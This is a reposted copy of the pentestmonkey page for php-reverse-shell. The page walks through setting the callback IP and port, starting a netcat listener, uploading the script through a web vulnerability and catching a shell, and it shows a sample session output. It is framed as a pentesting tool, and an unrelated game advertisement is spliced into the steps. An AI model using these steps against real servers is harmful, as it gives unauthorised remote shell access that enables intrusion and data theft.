php-reverse-shell


[출처] http://pentestmonkey.net/tools/web-shells/php-reverse-shell




This tool is designed for those situations during a pentest where you have upload access to a webserver that’s running PHP.  Upload this script to somewhere in the web root then run it by accessing the appropriate URL in your browser.  The script will open an outbound TCP connection from the webserver to a host and port of your choice.  Bound to this TCP connection will be a shell.

This will be a proper interactive shell in which you can run interective programs like telnet, ssh and su.  It differs from web form-based shell which allow you to send a single command, then return you the output.

Download

php-reverse-shell-1.0.tar.gz

MD5sum:2bdf99cee7b302afdc45d1d51ac7e373

SHA1sum: 30a26d5b5e30d819679e0d1eb44e46814892a4ee

Video

I stumbled across this video someone made of php-reverse-shell.

Update 2011-11: Imax sent me a link to his tool fimap which uses php-reverse-shell.  Looks cool.

Walk Through

Modify the source

To prevent someone else from abusing your backdoor – a nightmare scenario while pentesting – you need to modify the source code to indicate where you want the reverse shell thrown back to.  Edit the following lines of php-reverse-shell.php:

$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

Get Ready to catch the reverse shell

Start a TCP listener on a host and port that will be accessible by the web server.  Use the same port here as you specified in the script (1234 in this example):

$ nc -v -n -l -p 1234

Upload and Run the script

Using whatever vulnerability you’ve discovered in the website, upload php-reverse-shell.php.  Run the script simply by browsing to the newly uploaded file in your web browser (NB: You won’t see any output on the web page, it’ll just hang if successful):

경축! 아무것도 안하여 에스천사게임즈가 새로운 모습으로 재오픈 하였습니다.
어린이용이며, 설치가 필요없는 브라우저 게임입니다.
https://s1004games.com

http://somesite/php-reverse-shell.php

Enjoy your new shell

If all went well, the web server should have thrown back a shell to your netcat listener.  Some useful commans such as w, uname -a, id and pwd are run automatically for you:

$ nc -v -n -l -p 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 58012
Linux somehost 2.6.19-gentoo-r5 #1 SMP PREEMPT Sun Apr 1 16:49:38 BST 2007 x86_64 AMD Athlon(tm) 64 X2 Dual Core Processor 4200+ AuthenticAMD GNU/Linux
 16:59:28 up 39 days, 19:54,  2 users,  load average: 0.18, 0.13, 0.10
USER     TTY        LOGIN@   IDLE   JCPU   PCPU WHAT
root   :0        19May07 ?xdm?   5:10m  0.01s /bin/sh
uid=81(apache) gid=81(apache) groups=81(apache)
sh: no job control in this shell
sh-3.2$

FAQs

When is this useful?

Perhaps the only areas on disk that you have write access to are mounted with the “noexec” option.  Uploading a compiled program will be of no use in these situations.  You need to use an installed scripting language like Python, PERL, PHP, etc.
Perhaps you just can’t be bothered to upload a second program.

Isn’t the shell connection just going to be severed when the web server times out the PHP script?

No.  It doesn’t seem to on the systems that I’ve tested it on (Gentoo Linux only so far).  Additionally the PHP script attempts to daemonise itself and dissociate from the parent process to avoid this (though it rarely works in practise).  Your browser will appear to hang when you access the reverse shell.  This is normal.  It’s OK to hit cancel in your browser once you’ve got your shell.

Isn’t there going to be a rather suspicious looking shell process when the admin runs “ps”?

Yeah.  This version of the reverse shell isn’t very subtle:

apache   28106  0.0  0.0  10428  1216 ?        S    17:15   0:00 sh -c uname -a; w; id; /bin/sh -i
apache   28110  0.0  0.0  10172  1428 ?        S    17:15   0:00 /bin/sh -i

Is this page available in Serbo-Croatian?

Yes. Thanks to Jovana Milutinovich for translating.

Caveats

Outbound firewalling (aka egress filtering) may prevent your reverse shell connection reaching you.  Pick a port that’s allowed through Firewall.  If there are none, you’ll have to make do with a form-based PHP shell.

This particular implementation of the reverse shell is unix-based.  You’ll need to modify it before it will work on windows.

I’ve noticed a couple of zombie processes while testing this shell.  It doesn’t always happen, but is probably to be expected since we’re not daemonising ourself properly.

Tags: , , ,

Posted in Web Shells








본 웹사이트는 광고를 포함하고 있습니다.
광고 클릭에서 발생하는 수익금은 모두 웹사이트 서버의 유지 및 관리, 그리고 기술 콘텐츠 향상을 위해 쓰여집니다.
번호 제목 글쓴이 날짜 조회 수
공지 침투테스트(취약점검점검, 모의해킹) 문의 / 답변 졸리운_곰 2017.12.10 28361
32 2014년의 정보보안 사건 사고 리뷰 [보안뉴스] file 졸리운_곰 2015.01.01 420
31 [알아봅시다] 안티 익스플로잇 file 졸리운_곰 2014.10.30 290
30 [알아봅시다] ATM 악성코드 `플로토스.B` file 졸리운_곰 2014.10.30 404
29 美여배우 누드 사진은 애플 때문?… FBI, 애플 조사 착수 file 졸리운_곰 2014.09.02 867
28 '단 돈 1원에 팔린 개인정보 2억건' 2차 피해 우려 file 졸리운_곰 2014.08.21 333
27 작년과 올해 상반기를 달군 랜섬웨어 5가지 file 졸리운_곰 2014.07.21 427
26 보안담당자 애로사항 1순위 “인력 없어 죽겠어요” file 졸리운_곰 2014.07.21 443
25 지자체 선거인명부데이터, 소프트웨어 오작동으로 외부기업에 유출 사고 file 졸리운_곰 2014.05.18 351
24 KISA-네이버-안랩, 그들이 손잡은 이유는? file 가을의 곰을... 2013.11.06 1248
23 개인정보보호인증제 PIPL, 어떤 절차 거치나? file 가을의 곰을... 2013.11.06 1117
22 국내 모바일 보안 프로그램으로 위장한 스미싱 주의! file 가을의 곰을... 2013.04.06 1852
21 [사이버국방리포트] 국가 사이버 안보 강화를 위한 암호기술(2) file 가을의 곰을... 2013.03.05 1766
20 코웨이 198만명 고객정보 유출사건이 남긴 과제는? file 가을의 곰을... 2013.02.09 2306
19 복지알림이, 알약으로 위장한 악성 앱 발견 file 가을의 곰을... 2013.02.09 2606
18 Risk IT 프레임워크란 무엇인가? [1] file 가을의 곰을... 2013.02.05 1567
17 인터넷뱅킹 악성코드 유포로 공인인증서 대량 탈취! file 가을의 곰을... 2013.02.04 2738
16 미국서 6월 초 ‘해킹의 날’ 행사 개최...그 의미는? file 가을의 곰을... 2013.01.29 2589
15 게임 웹진 인벤, 게임정보 아닌 악성코드로 도배! file 가을의 곰을... 2013.01.24 2477
14 국가 사이버안보 강화를 위한 암호 기술 (1) file 가을의 곰을... 2013.01.24 2415
13 자바 제로데이 취약점 또 발견!...1만 달러에 판매돼 file 가을의 곰을... 2013.01.20 2534
대표 김성준 주소 : 경기 용인 분당수지 U타워 등록번호 : 142-07-27414
통신판매업 신고 : 제2012-용인수지-0185호 출판업 신고 : 수지구청 제 123호 개인정보보호최고책임자 : 김성준 sjkim70@stechstar.com
대표전화 : 010-4589-2193 [fax] 02-6280-1294 COPYRIGHT(C) stechstar.com ALL RIGHTS RESERVED